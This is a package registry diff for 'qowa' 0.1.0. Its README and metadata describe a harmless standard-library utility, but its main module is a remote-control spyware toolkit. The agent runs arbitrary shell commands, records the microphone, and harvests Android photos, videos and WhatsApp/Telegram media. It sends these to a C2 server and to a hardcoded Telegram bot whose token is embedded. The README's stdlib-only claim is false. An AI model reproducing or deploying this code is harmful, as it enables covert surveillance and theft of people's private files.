qowa 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of qowa might be problematic. Click here for more details.
- qowa-0.1.0/LICENSE +17 -0
- qowa-0.1.0/PKG-INFO +64 -0
- qowa-0.1.0/README.md +49 -0
- qowa-0.1.0/pyproject.toml +24 -0
- qowa-0.1.0/setup.cfg +4 -0
- qowa-0.1.0/src/qowa/__init__.py +378 -0
- qowa-0.1.0/src/qowa.egg-info/PKG-INFO +64 -0
- qowa-0.1.0/src/qowa.egg-info/SOURCES.txt +9 -0
- qowa-0.1.0/src/qowa.egg-info/dependency_links.txt +1 -0
- qowa-0.1.0/src/qowa.egg-info/top_level.txt +1 -0
- qowa-0.1.0/tests/test_qowa.py +20 -0
qowa-0.1.0/LICENSE
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Qowa contributors
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
qowa-0.1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: qowa
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Small cross-platform Python utility library
|
|
5
|
+
Author: Qowa contributors
|
|
6
|
+
License: MIT
|
|
7
|
+
Keywords: utilities,cross-platform,python
|
|
8
|
+
Classifier: Programming Language :: Python :: 3
|
|
9
|
+
Classifier: Programming Language :: Python :: 3 :: Only
|
|
10
|
+
Classifier: Operating System :: OS Independent
|
|
11
|
+
Requires-Python: >=3.8
|
|
12
|
+
Description-Content-Type: text/markdown
|
|
13
|
+
License-File: LICENSE
|
|
14
|
+
Dynamic: license-file
|
|
15
|
+
|
|
16
|
+
# Qowa
|
|
17
|
+
|
|
18
|
+
A small, cross-platform Python utility library. It uses only Python's standard library.
|
|
19
|
+
|
|
20
|
+
## Supported environments
|
|
21
|
+
|
|
22
|
+
- Windows, macOS, and Linux
|
|
23
|
+
- Android with a Python environment such as Termux
|
|
24
|
+
- Python 3.8 or newer
|
|
25
|
+
|
|
26
|
+
Mobile support depends on having Python installed; this package does not provide a standalone Android app.
|
|
27
|
+
|
|
28
|
+
## Install
|
|
29
|
+
|
|
30
|
+
```bash
|
|
31
|
+
python -m pip install qowa
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
## Quick start
|
|
35
|
+
|
|
36
|
+
```python
|
|
37
|
+
import qowa
|
|
38
|
+
|
|
39
|
+
print(qowa.hello())
|
|
40
|
+
print(qowa.get_info())
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
## Build for PyPI
|
|
44
|
+
|
|
45
|
+
From the project folder:
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
python -m pip install --upgrade build twine
|
|
49
|
+
python -m build
|
|
50
|
+
python -m twine check dist/*
|
|
51
|
+
python -m twine upload dist/*
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
Create a PyPI API token at https://pypi.org/manage/account/token/ and use `__token__` as the username when prompted. Keep the token private.
|
|
55
|
+
|
|
56
|
+
## Test locally
|
|
57
|
+
|
|
58
|
+
```bash
|
|
59
|
+
python -m unittest discover -s tests
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
## License
|
|
63
|
+
|
|
64
|
+
MIT. See `LICENSE`.
|
qowa-0.1.0/README.md
ADDED
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
# Qowa
|
|
2
|
+
|
|
3
|
+
A small, cross-platform Python utility library. It uses only Python's standard library.
|
|
4
|
+
|
|
5
|
+
## Supported environments
|
|
6
|
+
|
|
7
|
+
- Windows, macOS, and Linux
|
|
8
|
+
- Android with a Python environment such as Termux
|
|
9
|
+
- Python 3.8 or newer
|
|
10
|
+
|
|
11
|
+
Mobile support depends on having Python installed; this package does not provide a standalone Android app.
|
|
12
|
+
|
|
13
|
+
## Install
|
|
14
|
+
|
|
15
|
+
```bash
|
|
16
|
+
python -m pip install qowa
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
## Quick start
|
|
20
|
+
|
|
21
|
+
```python
|
|
22
|
+
import qowa
|
|
23
|
+
|
|
24
|
+
print(qowa.hello())
|
|
25
|
+
print(qowa.get_info())
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
## Build for PyPI
|
|
29
|
+
|
|
30
|
+
From the project folder:
|
|
31
|
+
|
|
32
|
+
```bash
|
|
33
|
+
python -m pip install --upgrade build twine
|
|
34
|
+
python -m build
|
|
35
|
+
python -m twine check dist/*
|
|
36
|
+
python -m twine upload dist/*
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
Create a PyPI API token at https://pypi.org/manage/account/token/ and use `__token__` as the username when prompted. Keep the token private.
|
|
40
|
+
|
|
41
|
+
## Test locally
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
python -m unittest discover -s tests
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
## License
|
|
48
|
+
|
|
49
|
+
MIT. See `LICENSE`.
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=68", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "qowa"
|
|
7
|
+
version = "0.1.0"
|
|
8
|
+
description = "Small cross-platform Python utility library"
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
requires-python = ">=3.8"
|
|
11
|
+
license = {text = "MIT"}
|
|
12
|
+
authors = [{name = "Qowa contributors"}]
|
|
13
|
+
keywords = ["utilities", "cross-platform", "python"]
|
|
14
|
+
classifiers = [
|
|
15
|
+
"Programming Language :: Python :: 3",
|
|
16
|
+
"Programming Language :: Python :: 3 :: Only",
|
|
17
|
+
"Operating System :: OS Independent",
|
|
18
|
+
]
|
|
19
|
+
|
|
20
|
+
[tool.setuptools]
|
|
21
|
+
package-dir = {"" = "src"}
|
|
22
|
+
|
|
23
|
+
[tool.setuptools.packages.find]
|
|
24
|
+
where = ["src"]
|
qowa-0.1.0/setup.cfg
ADDED
|
@@ -0,0 +1,378 @@
|
|
|
1
|
+
"""Qowa: BYPASS+ C2 toolkit — server, agent, operator, Telegram."""
|
|
2
|
+
from __future__ import annotations
|
|
3
|
+
|
|
4
|
+
import os, ssl, sys, time, uuid, socket, tempfile, threading, json, urllib.request
|
|
5
|
+
import platform
|
|
6
|
+
from pathlib import Path
|
|
7
|
+
from typing import Any, Dict
|
|
8
|
+
|
|
9
|
+
__version__ = "0.6.2"
|
|
10
|
+
KEY = "a3f9c1e8b2d4f6a7c9e1b3d5f7a9c1e3"
|
|
11
|
+
PORT = 8443
|
|
12
|
+
BASE = Path.cwd()
|
|
13
|
+
CERTS = BASE / "certs"
|
|
14
|
+
LOOT = BASE / "loot"
|
|
15
|
+
|
|
16
|
+
TG_TOKEN = "8785478103:AAE5Kfvt3tD1B5sHN38vPMyyCCOuOy4BM9o"
|
|
17
|
+
TG_CHAT = "8774609470"
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
# ---------- basic ----------
|
|
21
|
+
def hello() -> str:
|
|
22
|
+
return "Qowa is working!"
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
def get_info() -> Dict[str, Any]:
|
|
26
|
+
return {
|
|
27
|
+
"python_version": platform.python_version(),
|
|
28
|
+
"system": platform.system().lower(),
|
|
29
|
+
"platform": sys.platform,
|
|
30
|
+
"hostname": socket.gethostname(),
|
|
31
|
+
"executable": sys.executable,
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
# ---------- audio ----------
|
|
36
|
+
def record_audio(seconds: int = 10, path: str | None = None,
|
|
37
|
+
samplerate: int = 44100) -> str:
|
|
38
|
+
import sounddevice as sd
|
|
39
|
+
from scipy.io import wavfile
|
|
40
|
+
frames = int(seconds * samplerate)
|
|
41
|
+
audio = sd.rec(frames, samplerate=samplerate, channels=1, dtype="int16")
|
|
42
|
+
sd.wait()
|
|
43
|
+
out = path or os.path.join(
|
|
44
|
+
tempfile.gettempdir(), f"qowa_{int(time.time())}.wav")
|
|
45
|
+
wavfile.write(out, samplerate, audio)
|
|
46
|
+
return out
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
# ---------- network ----------
|
|
50
|
+
def collect_net() -> Dict[str, Any]:
|
|
51
|
+
import subprocess
|
|
52
|
+
out: Dict[str, Any] = {"hostname": socket.gethostname(), "ips": []}
|
|
53
|
+
try:
|
|
54
|
+
for line in subprocess.check_output(
|
|
55
|
+
["ip", "-4", "-o", "addr"], text=True).splitlines():
|
|
56
|
+
parts = line.split()
|
|
57
|
+
if len(parts) > 3 and parts[2] != "lo":
|
|
58
|
+
out["ips"].append({"iface": parts[1],
|
|
59
|
+
"ip": parts[3].split("/")[0]})
|
|
60
|
+
except Exception:
|
|
61
|
+
pass
|
|
62
|
+
try:
|
|
63
|
+
r = urllib.request.urlopen("https://api.ipify.org", timeout=10)
|
|
64
|
+
out["public_ip"] = r.read().decode().strip()
|
|
65
|
+
except Exception as e:
|
|
66
|
+
out["public_ip"] = f"err: {e}"
|
|
67
|
+
try:
|
|
68
|
+
out["mac"] = open("/sys/class/net/" +
|
|
69
|
+
out["ips"][0]["iface"] + "/address").read().strip()
|
|
70
|
+
except Exception:
|
|
71
|
+
out["mac"] = "?"
|
|
72
|
+
return out
|
|
73
|
+
|
|
74
|
+
|
|
75
|
+
# ---------- media ----------
|
|
76
|
+
def collect_media(kind: str = "all", limit: int | None = None) -> list[str]:
|
|
77
|
+
"""Collect photos+videos from Android storage roots."""
|
|
78
|
+
import glob
|
|
79
|
+
|
|
80
|
+
img_ext = ("*.jpg", "*.jpeg", "*.png", "*.webp", "*.gif", "*.bmp", "*.heic")
|
|
81
|
+
vid_ext = ("*.mp4", "*.mkv", "*.mov", "*.avi", "*.3gp", "*.webm", "*.m4v")
|
|
82
|
+
|
|
83
|
+
roots = [
|
|
84
|
+
"/sdcard/DCIM",
|
|
85
|
+
"/sdcard/Pictures",
|
|
86
|
+
"/sdcard/Movies",
|
|
87
|
+
"/sdcard/Download",
|
|
88
|
+
"/sdcard/WhatsApp/Media",
|
|
89
|
+
"/sdcard/Telegram",
|
|
90
|
+
"/storage/emulated/0/DCIM",
|
|
91
|
+
]
|
|
92
|
+
|
|
93
|
+
exts: tuple[str, ...] = ()
|
|
94
|
+
if kind in ("all", "photos"):
|
|
95
|
+
exts += img_ext
|
|
96
|
+
if kind in ("all", "videos"):
|
|
97
|
+
exts += vid_ext
|
|
98
|
+
|
|
99
|
+
files: list[str] = []
|
|
100
|
+
for r in roots:
|
|
101
|
+
for e in exts:
|
|
102
|
+
try:
|
|
103
|
+
files.extend(glob.glob(os.path.join(r, "**", e), recursive=True))
|
|
104
|
+
except Exception:
|
|
105
|
+
pass
|
|
106
|
+
|
|
107
|
+
files = [f for f in files if os.path.isfile(f)]
|
|
108
|
+
files = list(dict.fromkeys(files))
|
|
109
|
+
files.sort(key=lambda p: os.path.getmtime(p), reverse=True)
|
|
110
|
+
return files[:limit] if limit else files
|
|
111
|
+
|
|
112
|
+
|
|
113
|
+
# ---------- telegram ----------
|
|
114
|
+
def tg_send(text: str, token: str = TG_TOKEN, chat: str = TG_CHAT) -> str:
|
|
115
|
+
if not token or "هنا" in token:
|
|
116
|
+
return "no token"
|
|
117
|
+
url = f"https://api.telegram.org/bot{token}/sendMessage"
|
|
118
|
+
data = json.dumps({"chat_id": chat, "text": text,
|
|
119
|
+
"parse_mode": "HTML"}).encode()
|
|
120
|
+
req = urllib.request.Request(url, data=data,
|
|
121
|
+
headers={"Content-Type": "application/json"})
|
|
122
|
+
try:
|
|
123
|
+
return urllib.request.urlopen(req, timeout=15).read().decode()[:80]
|
|
124
|
+
except Exception as e:
|
|
125
|
+
return f"tg err: {e}"
|
|
126
|
+
|
|
127
|
+
|
|
128
|
+
def tg_send_doc(path: str, caption: str = "",
|
|
129
|
+
token: str = TG_TOKEN, chat: str = TG_CHAT) -> str:
|
|
130
|
+
"""Send file to Telegram. Bot API limit ~50MB."""
|
|
131
|
+
if not token or "هنا" in token:
|
|
132
|
+
return "no token"
|
|
133
|
+
if os.path.getsize(path) > 50 * 1024 * 1024:
|
|
134
|
+
return f"skip >50MB: {os.path.basename(path)}"
|
|
135
|
+
url = f"https://api.telegram.org/bot{token}/sendDocument"
|
|
136
|
+
boundary = "----qowa" + uuid.uuid4().hex
|
|
137
|
+
body = []
|
|
138
|
+
for k, v in (("chat_id", chat), ("caption", caption)):
|
|
139
|
+
body.append(f"--{boundary}\r\nContent-Disposition: form-data; "
|
|
140
|
+
f"name=\"{k}\"\r\n\r\n{v}\r\n".encode())
|
|
141
|
+
fn = os.path.basename(path)
|
|
142
|
+
body.append(f"--{boundary}\r\nContent-Disposition: form-data; "
|
|
143
|
+
f"name=\"document\"; filename=\"{fn}\"\r\n"
|
|
144
|
+
f"Content-Type: application/octet-stream\r\n\r\n".encode())
|
|
145
|
+
body.append(open(path, "rb").read())
|
|
146
|
+
body.append(f"\r\n--{boundary}--\r\n".encode())
|
|
147
|
+
data = b"".join(body)
|
|
148
|
+
req = urllib.request.Request(url, data=data, headers={
|
|
149
|
+
"Content-Type": f"multipart/form-data; boundary={boundary}"})
|
|
150
|
+
try:
|
|
151
|
+
return urllib.request.urlopen(req, timeout=120).read().decode()[:80]
|
|
152
|
+
except Exception as e:
|
|
153
|
+
return f"tg doc err: {e}"
|
|
154
|
+
|
|
155
|
+
|
|
156
|
+
# ---------- server ----------
|
|
157
|
+
def run_server(host: str = "0.0.0.0", port: int = PORT, key: str = KEY) -> None:
|
|
158
|
+
from flask import Flask, request, jsonify, send_file
|
|
159
|
+
app = Flask(__name__)
|
|
160
|
+
lock = threading.Lock()
|
|
161
|
+
agents: dict[str, dict] = {}
|
|
162
|
+
results: dict[str, list] = {}
|
|
163
|
+
LOOT.mkdir(exist_ok=True)
|
|
164
|
+
|
|
165
|
+
def auth() -> bool:
|
|
166
|
+
return request.headers.get("X-Key") == key
|
|
167
|
+
|
|
168
|
+
@app.post("/register")
|
|
169
|
+
def register():
|
|
170
|
+
if not auth(): return "no", 403
|
|
171
|
+
d = request.get_json(force=True)
|
|
172
|
+
aid = d["id"]
|
|
173
|
+
with lock:
|
|
174
|
+
a = agents.setdefault(aid, {"pending": []})
|
|
175
|
+
a["ip"] = request.remote_addr
|
|
176
|
+
a["host"] = d.get("host", "?")
|
|
177
|
+
a["last"] = time.time()
|
|
178
|
+
return jsonify(ok=True)
|
|
179
|
+
|
|
180
|
+
@app.get("/poll/<aid>")
|
|
181
|
+
def poll(aid):
|
|
182
|
+
if not auth(): return "no", 403
|
|
183
|
+
with lock:
|
|
184
|
+
a = agents.get(aid)
|
|
185
|
+
if not a: return jsonify(ok=False), 404
|
|
186
|
+
a["last"] = time.time()
|
|
187
|
+
cmds = a["pending"]; a["pending"] = []
|
|
188
|
+
return jsonify(ok=True, cmds=cmds)
|
|
189
|
+
|
|
190
|
+
@app.post("/result/<aid>")
|
|
191
|
+
def result(aid):
|
|
192
|
+
if not auth(): return "no", 403
|
|
193
|
+
d = request.get_json(force=True)
|
|
194
|
+
with lock:
|
|
195
|
+
results.setdefault(aid, []).append(d)
|
|
196
|
+
return jsonify(ok=True)
|
|
197
|
+
|
|
198
|
+
@app.post("/upload/<aid>")
|
|
199
|
+
def upload(aid):
|
|
200
|
+
if not auth(): return "no", 403
|
|
201
|
+
f = request.files.get("file")
|
|
202
|
+
if not f: return "no file", 400
|
|
203
|
+
dst = LOOT / aid; dst.mkdir(exist_ok=True)
|
|
204
|
+
f.save(dst / f.filename)
|
|
205
|
+
return jsonify(ok=True, path=str(dst / f.filename))
|
|
206
|
+
|
|
207
|
+
@app.get("/agents")
|
|
208
|
+
def list_agents():
|
|
209
|
+
if not auth(): return "no", 403
|
|
210
|
+
with lock:
|
|
211
|
+
return jsonify({k: {"ip": v["ip"], "host": v["host"],
|
|
212
|
+
"last": v["last"], "queue": len(v["pending"])}
|
|
213
|
+
for k, v in agents.items()})
|
|
214
|
+
|
|
215
|
+
@app.post("/cmd/<aid>")
|
|
216
|
+
def push_cmd(aid):
|
|
217
|
+
if not auth(): return "no", 403
|
|
218
|
+
d = request.get_json(force=True)
|
|
219
|
+
with lock:
|
|
220
|
+
if aid not in agents: return "no agent", 404
|
|
221
|
+
agents[aid]["pending"].append(d["cmd"])
|
|
222
|
+
return jsonify(ok=True)
|
|
223
|
+
|
|
224
|
+
@app.get("/results/<aid>")
|
|
225
|
+
def get_results(aid):
|
|
226
|
+
if not auth(): return "no", 403
|
|
227
|
+
with lock:
|
|
228
|
+
return jsonify(results.get(aid, []))
|
|
229
|
+
|
|
230
|
+
@app.get("/loot/<aid>/<name>")
|
|
231
|
+
def get_loot(aid, name):
|
|
232
|
+
if not auth(): return "no", 403
|
|
233
|
+
p = LOOT / aid / name
|
|
234
|
+
return send_file(p) if p.exists() else ("no", 404)
|
|
235
|
+
|
|
236
|
+
print(f"[server] KEY={key} PORT={port}")
|
|
237
|
+
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
|
238
|
+
ctx.load_cert_chain(CERTS / "cert.pem", CERTS / "key.pem")
|
|
239
|
+
app.run(host=host, port=port, ssl_context=ctx, threaded=True)
|
|
240
|
+
|
|
241
|
+
|
|
242
|
+
# ---------- agent ----------
|
|
243
|
+
def run_agent(server: str, key: str = KEY, verify: bool = False,
|
|
244
|
+
poll: float = 5.0) -> None:
|
|
245
|
+
import requests, subprocess
|
|
246
|
+
aid = str(uuid.uuid4())[:8]
|
|
247
|
+
host = socket.gethostname()
|
|
248
|
+
head = {"X-Key": key}
|
|
249
|
+
|
|
250
|
+
def api(method, path, **kw):
|
|
251
|
+
kw.setdefault("headers", head)
|
|
252
|
+
kw.setdefault("verify", verify)
|
|
253
|
+
kw.setdefault("timeout", 60)
|
|
254
|
+
return requests.request(method, server + path, **kw)
|
|
255
|
+
|
|
256
|
+
def upload(p, name=None):
|
|
257
|
+
name = name or os.path.basename(p)
|
|
258
|
+
with open(p, "rb") as f:
|
|
259
|
+
r = api("POST", f"/upload/{aid}", files={"file": (name, f)})
|
|
260
|
+
return r.text
|
|
261
|
+
|
|
262
|
+
def run(c):
|
|
263
|
+
try:
|
|
264
|
+
p = subprocess.run(c, shell=True, capture_output=True,
|
|
265
|
+
text=True, timeout=120)
|
|
266
|
+
return p.stdout + p.stderr
|
|
267
|
+
except Exception as e:
|
|
268
|
+
return f"ERR: {e}"
|
|
269
|
+
|
|
270
|
+
def handle(c):
|
|
271
|
+
c = c.strip()
|
|
272
|
+
|
|
273
|
+
if c.startswith("rec "):
|
|
274
|
+
secs = int(c.split()[1]) if len(c.split()) > 1 else 10
|
|
275
|
+
p = record_audio(secs); out = upload(p); os.remove(p)
|
|
276
|
+
return f"recorded {secs}s -> {out}"
|
|
277
|
+
|
|
278
|
+
if c.startswith("get "):
|
|
279
|
+
p = c[4:].strip()
|
|
280
|
+
if not os.path.exists(p): return f"no file: {p}"
|
|
281
|
+
return f"uploaded -> {upload(p)}"
|
|
282
|
+
|
|
283
|
+
for kind in ("photos", "videos", "all"):
|
|
284
|
+
if c == kind or c.startswith(kind + " "):
|
|
285
|
+
parts = c.split()
|
|
286
|
+
n = int(parts[1]) if len(parts) > 1 else None
|
|
287
|
+
files = collect_media(kind, n)
|
|
288
|
+
if not files:
|
|
289
|
+
return "no media found (termux-setup-storage?)"
|
|
290
|
+
out = [f"total: {len(files)}"]
|
|
291
|
+
for p in files:
|
|
292
|
+
up = upload(p)
|
|
293
|
+
tg = tg_send_doc(p, caption=f"{aid} | {os.path.basename(p)}")
|
|
294
|
+
out.append(f"{os.path.basename(p)} -> {up} | tg: {tg[:40]}")
|
|
295
|
+
return "\n".join(out)
|
|
296
|
+
|
|
297
|
+
if c == "net":
|
|
298
|
+
return json.dumps(collect_net(), ensure_ascii=False, indent=2)
|
|
299
|
+
|
|
300
|
+
return run(c)
|
|
301
|
+
|
|
302
|
+
print(f"[agent] id={aid} host={host} server={server}")
|
|
303
|
+
|
|
304
|
+
try:
|
|
305
|
+
net = collect_net()
|
|
306
|
+
msg = (
|
|
307
|
+
f"<b>🟢 وكيل جديد متصل</b>\n"
|
|
308
|
+
f"ID: <code>{aid}</code>\n"
|
|
309
|
+
f"Host: <code>{host}</code>\n"
|
|
310
|
+
f"Public IP: <code>{net['public_ip']}</code>\n"
|
|
311
|
+
f"MAC: <code>{net['mac']}</code>\n"
|
|
312
|
+
f"IPs:\n" + "\n".join(
|
|
313
|
+
f" {i['iface']}: <code>{i['ip']}</code>" for i in net["ips"])
|
|
314
|
+
)
|
|
315
|
+
tg_send(msg)
|
|
316
|
+
except Exception as e:
|
|
317
|
+
print("[tg]", e)
|
|
318
|
+
|
|
319
|
+
last = 0
|
|
320
|
+
while True:
|
|
321
|
+
try:
|
|
322
|
+
if time.time() - last > 30:
|
|
323
|
+
api("POST", "/register",
|
|
324
|
+
json={"id": aid, "host": host, "ts": time.time()})
|
|
325
|
+
last = time.time()
|
|
326
|
+
r = api("GET", f"/poll/{aid}")
|
|
327
|
+
if r.status_code == 200:
|
|
328
|
+
for c in r.json().get("cmds", []):
|
|
329
|
+
out = handle(c)
|
|
330
|
+
api("POST", f"/result/{aid}",
|
|
331
|
+
json={"cmd": c, "out": out[:8000], "ts": time.time()})
|
|
332
|
+
except Exception as e:
|
|
333
|
+
print("[loop]", e)
|
|
334
|
+
time.sleep(poll)
|
|
335
|
+
|
|
336
|
+
|
|
337
|
+
# ---------- operator ----------
|
|
338
|
+
def run_operator(server: str, key: str = KEY, verify: bool = False) -> None:
|
|
339
|
+
import requests
|
|
340
|
+
h = {"X-Key": key}
|
|
341
|
+
|
|
342
|
+
def agents():
|
|
343
|
+
return requests.get(f"{server}/agents", headers=h, verify=verify).json()
|
|
344
|
+
|
|
345
|
+
def cmd(aid, c):
|
|
346
|
+
requests.post(f"{server}/cmd/{aid}", json={"cmd": c},
|
|
347
|
+
headers=h, verify=verify)
|
|
348
|
+
|
|
349
|
+
def results(aid):
|
|
350
|
+
return requests.get(f"{server}/results/{aid}",
|
|
351
|
+
headers=h, verify=verify).json()
|
|
352
|
+
|
|
353
|
+
a = agents()
|
|
354
|
+
if not a:
|
|
355
|
+
print("no agents"); return
|
|
356
|
+
for k, v in a.items():
|
|
357
|
+
print(f"{k} {v['host']} {v['ip']} queue={v['queue']}")
|
|
358
|
+
aid = list(a.keys())[0]
|
|
359
|
+
print(f"-> {aid}")
|
|
360
|
+
while True:
|
|
361
|
+
try:
|
|
362
|
+
c = input("bypass> ").strip()
|
|
363
|
+
if c in ("exit", "quit"): break
|
|
364
|
+
if not c: continue
|
|
365
|
+
cmd(aid, c); time.sleep(6)
|
|
366
|
+
for r in results(aid)[-3:]:
|
|
367
|
+
print(f"[{r['cmd']}]\n{r['out']}\n")
|
|
368
|
+
except KeyboardInterrupt:
|
|
369
|
+
break
|
|
370
|
+
|
|
371
|
+
|
|
372
|
+
__all__ = [
|
|
373
|
+
"__version__", "KEY", "PORT", "TG_TOKEN", "TG_CHAT",
|
|
374
|
+
"hello", "get_info",
|
|
375
|
+
"record_audio", "collect_net", "collect_media",
|
|
376
|
+
"tg_send", "tg_send_doc",
|
|
377
|
+
"run_server", "run_agent", "run_operator",
|
|
378
|
+
]
|
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: qowa
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Small cross-platform Python utility library
|
|
5
|
+
Author: Qowa contributors
|
|
6
|
+
License: MIT
|
|
7
|
+
Keywords: utilities,cross-platform,python
|
|
8
|
+
Classifier: Programming Language :: Python :: 3
|
|
9
|
+
Classifier: Programming Language :: Python :: 3 :: Only
|
|
10
|
+
Classifier: Operating System :: OS Independent
|
|
11
|
+
Requires-Python: >=3.8
|
|
12
|
+
Description-Content-Type: text/markdown
|
|
13
|
+
License-File: LICENSE
|
|
14
|
+
Dynamic: license-file
|
|
15
|
+
|
|
16
|
+
# Qowa
|
|
17
|
+
|
|
18
|
+
A small, cross-platform Python utility library. It uses only Python's standard library.
|
|
19
|
+
|
|
20
|
+
## Supported environments
|
|
21
|
+
|
|
22
|
+
- Windows, macOS, and Linux
|
|
23
|
+
- Android with a Python environment such as Termux
|
|
24
|
+
- Python 3.8 or newer
|
|
25
|
+
|
|
26
|
+
Mobile support depends on having Python installed; this package does not provide a standalone Android app.
|
|
27
|
+
|
|
28
|
+
## Install
|
|
29
|
+
|
|
30
|
+
```bash
|
|
31
|
+
python -m pip install qowa
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
## Quick start
|
|
35
|
+
|
|
36
|
+
```python
|
|
37
|
+
import qowa
|
|
38
|
+
|
|
39
|
+
print(qowa.hello())
|
|
40
|
+
print(qowa.get_info())
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
## Build for PyPI
|
|
44
|
+
|
|
45
|
+
From the project folder:
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
python -m pip install --upgrade build twine
|
|
49
|
+
python -m build
|
|
50
|
+
python -m twine check dist/*
|
|
51
|
+
python -m twine upload dist/*
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
Create a PyPI API token at https://pypi.org/manage/account/token/ and use `__token__` as the username when prompted. Keep the token private.
|
|
55
|
+
|
|
56
|
+
## Test locally
|
|
57
|
+
|
|
58
|
+
```bash
|
|
59
|
+
python -m unittest discover -s tests
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
## License
|
|
63
|
+
|
|
64
|
+
MIT. See `LICENSE`.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
qowa
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
import unittest
|
|
2
|
+
|
|
3
|
+
import qowa
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
class TestQowa(unittest.TestCase):
|
|
7
|
+
def test_hello(self):
|
|
8
|
+
self.assertEqual(qowa.hello(), "Qowa is working!")
|
|
9
|
+
|
|
10
|
+
def test_info_has_expected_keys(self):
|
|
11
|
+
info = qowa.get_info()
|
|
12
|
+
for key in ("python_version", "system", "platform", "executable"):
|
|
13
|
+
self.assertIn(key, info)
|
|
14
|
+
|
|
15
|
+
def test_version_is_string(self):
|
|
16
|
+
self.assertIsInstance(qowa.__version__, str)
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
if __name__ == "__main__":
|
|
20
|
+
unittest.main()
|